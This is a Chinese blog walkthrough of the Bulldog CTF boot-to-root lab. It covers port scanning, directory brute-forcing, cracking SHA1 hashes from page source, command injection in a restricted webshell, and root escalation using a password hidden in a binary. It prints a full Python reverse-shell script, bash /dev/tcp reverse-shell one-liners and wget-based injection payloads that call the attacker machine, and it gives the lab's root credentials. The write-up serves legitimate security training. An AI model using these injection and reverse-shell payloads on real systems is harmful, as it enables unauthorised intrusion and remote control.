zoukankan      html  css  js  c++  java
  • 10. CTF综合靶机渗透(三)

    靶机说明

    斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:)

    这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你!

    难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;)

    目标

    • 提权到root权限并查看flag

    运行环境

    • 这个靶机,作者建议在Virtualbox上运行。但是攻击机kali在vm中。

    • 首先是网络环境,将两台处于不同虚拟机软件中的虚拟机配置到同一网卡下。

    • Virtualbox设置为桥接模式,桥接到物理的无线网卡

    • 只有一块无线网卡链接到了互联网,所以kali直接桥接,复制物理网络即可。
    • 最后kali执行dhclient命令,请求分配ip,bulldog直接开机即可。

    信息收集

    • ip发现

    kali安装在vmware,作为攻击机,ip为:

    bulldog靶机运行在virtualbox虚拟机上,在开机时,已经给出了ip地址:

    • 端口扫描

    执行命令 nmap -sS 192.168.0.113

    发现 23 , 80 , 8080 端口开放

    • 服务识别

    执行命令 nmap -A -p 80,23 192.168.0.113 对23和80进行详细探测

    发现ssh服务和web服务,并且web服务为python。

    漏洞挖掘

    • 首先查看web,同时进行目录探测 dirb http://192.168.0.113

     

     发现  /admin/auth/group , /admin/auth/user , /admin/login  , /dev/shell 等目录

    • 对/admin/auth/group ,/admin/auth/user  进行访问探测

    发现都重定向到 /admin/login  的登陆页面

    • 访问admin登录页面,并进行了注入尝试,没有成功

    • 查看/dev/shell发现webshell不能使用

    • 查看/dev页面的源码发现提示

    新系统不在使用php或任何CMS,而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞,只能找Django框架漏洞;网站不使用php,无需再找php漏洞或者写php木马;

    有明显的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。

    看到这个,经常做ctf的人,都能看出来,下一步就是hash碰撞

    hash碰撞讲解:https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html

    • 对hash进行碰撞,hash长度为40位,可以看出是sha1,即使不知道是哪种hash,也可以把每个hash值,到CMD5尝试碰撞解密:

    然后hash碰撞,我们得出密码为 bulldoglover ,但是我们没有用户名

    我们再来分析源码,发现了这个,我们推测用户名为 sarah 

    应为哈希碰撞,后面的为密码

    • 利用碰撞出来的两个密码进行登录尝试利用sarah成功登录

    • 此时webshell可以使用

    真是一举两得

    获取shell

    • 发现给出的webshell只能使用给定的几个命令。尝试命令注入。

     

    • python反弹shell   可以进行命令注入,尝试wget是否有权限。攻击机kali执行命令  python -m SimpleHTTPServer 80 搭建简易web服务。在webshell上执行命令  pwd&wget http://192.168.0.112。kali的日志中发现访问记录

    • 在开启python web服务的目录下准备一个python shell
    1 import socket,subprocess,os
    2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    3 s.connect(("192.168.0.113",1234))
    4 os.dup2(s.fileno(),0)
    5 os.dup2(s.fileno(),1)
    6 os.dup2(s.fileno(),2)
    7 p=subprocess.call(["/bin/bash","-i"])
    • 在命令执行页面执行 pwd & wget http://192.168.0.112/pythonShell.py 本地日志显示成功下载

    • 本地进行nc监听,执行 nc -lvp 1234

    • 在命令执行处执行 pwd & python pythonShell.py

    成功获得shell

    • 反弹shell

    (1) Windows攻击机开启nc监听:nc -lvnp 4444

    (2) 直接执行 ls && bash -i >& /dev/tcp/192.168.0.112/1234 0>&1 失败,server报错500。

    (3) 尝试多次bash反弹,最后使用echo命令先输出命令,再输入到bash,反弹shell成功:

    echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash

    反弹获得shell成功

    提升权限并且获得flag

    • 查看有哪些系统用户 cat /etc/passwd, 发现需要关注的用户有:bulldogadmin、django

    • 进入/home目录,查看是否有其他用户,进入bulldogadmin

    • 查看他的命令历史文件,意外发现一个隐藏目.hiddenadmindirectory

    • 该隐藏目录存在两个文件,一个note提示,一个可执行文件

    • 利用 strings 查看可执行文件中的字符

    从以上字符中大致明白了程序的用途和用法

    猜测可能是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget,这些都与最高权限账号相关

    你可以把他们连到一起正好是SUPERultimatePASSWORDyouCANTget

    ,H是来混淆我们的,还好博主认识PASSWORD,我们查看一下

    经过测试,发现确实是密码

    最后读取flag文件

    • 同时我们也可以提权

     su命令无法执行

    我们执行执行python shell

    sudo python -c import pty; pty.spawn("/bin/bash")'

    并且输入刚获得的密码

    • 如果不解决无法su,还记得有23端口的ssh,也可以使用Xshell通过ssh登录,登录成功后执行sudo su - 提权并获得flag

    用户名:django

    密码:SUPERultimatePASSWORDyouCANTget 

    不用猜测的密码,改了django再登录也可以。

    sudo su提权,密码是:SUPERultimatePASSWORDyouCANTget

     

    靶场思路回顾

    1.目录暴破出dev和admin页面:

    (1) 可暴破出dev页面,该页面源码里面有多个账号的用户名、邮箱、密码sha1值。该页面还链接到webshell命令执行页面。

    (2) 可暴破出admin后台页面,登录密码通过dev页面破解sha1得到。

    2.绕过白名单限制,执行命令和反弹shell:绕过限制执行命令比较容易。反弹shell尝试多次使用bash反弹shell后成功,没有尝试py shell。

    3.搜索系统中id为1000以后的用户的文件,可以找到隐藏文件。

    4.猜解root密码很艰难。

    总结

    • 难点和踩到的坑:

    (1) 发现和破解sha1:在dev页面查看源码,发现多个用户hash后,即使不知道是40位的sha1,也可以直接去cmd5破解,系统会自动识别,可以破解出2个账号。如果用hashcat暴破sha1,需要强大的字段和较长的时间。

    (2) 反弹shell应该有多种方法:第一个想到的是bash shell,也想到了python反弹shell。只尝试了通过bash反弹shell,如果bash反弹不成功,可尝试往系统echo文件,赋予+x执行权限,执行脚本反弹。也可尝试Python是否能够反弹shell。

    (3) 发现隐藏的包含root密码的文件,通过搜索id为1000之后的用户文件,查看历史命令,或者查看目录,也可能找到。

    (4) 猜解root密码:这个是最难的,找到这个文件并不难,但是通过strings查看文件内容,并且拼接字符串为root密码,感觉难度很大。

  • 相关阅读:
    python全栈学习--day57(响应式页面-@media介绍,移动端单位介绍,Bootstrap学习)
    网络编程-Socket介绍
    网络编程-五层协议详解
    python-封装
    python- 类的多态与多态性
    python-接口类与抽象类
    python-类的组合和使用
    python-类继承与重用
    python-面向对象编程小结
    python-属性的查找与绑定方法
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9146265.html
Copyright © 2011-2022 走看看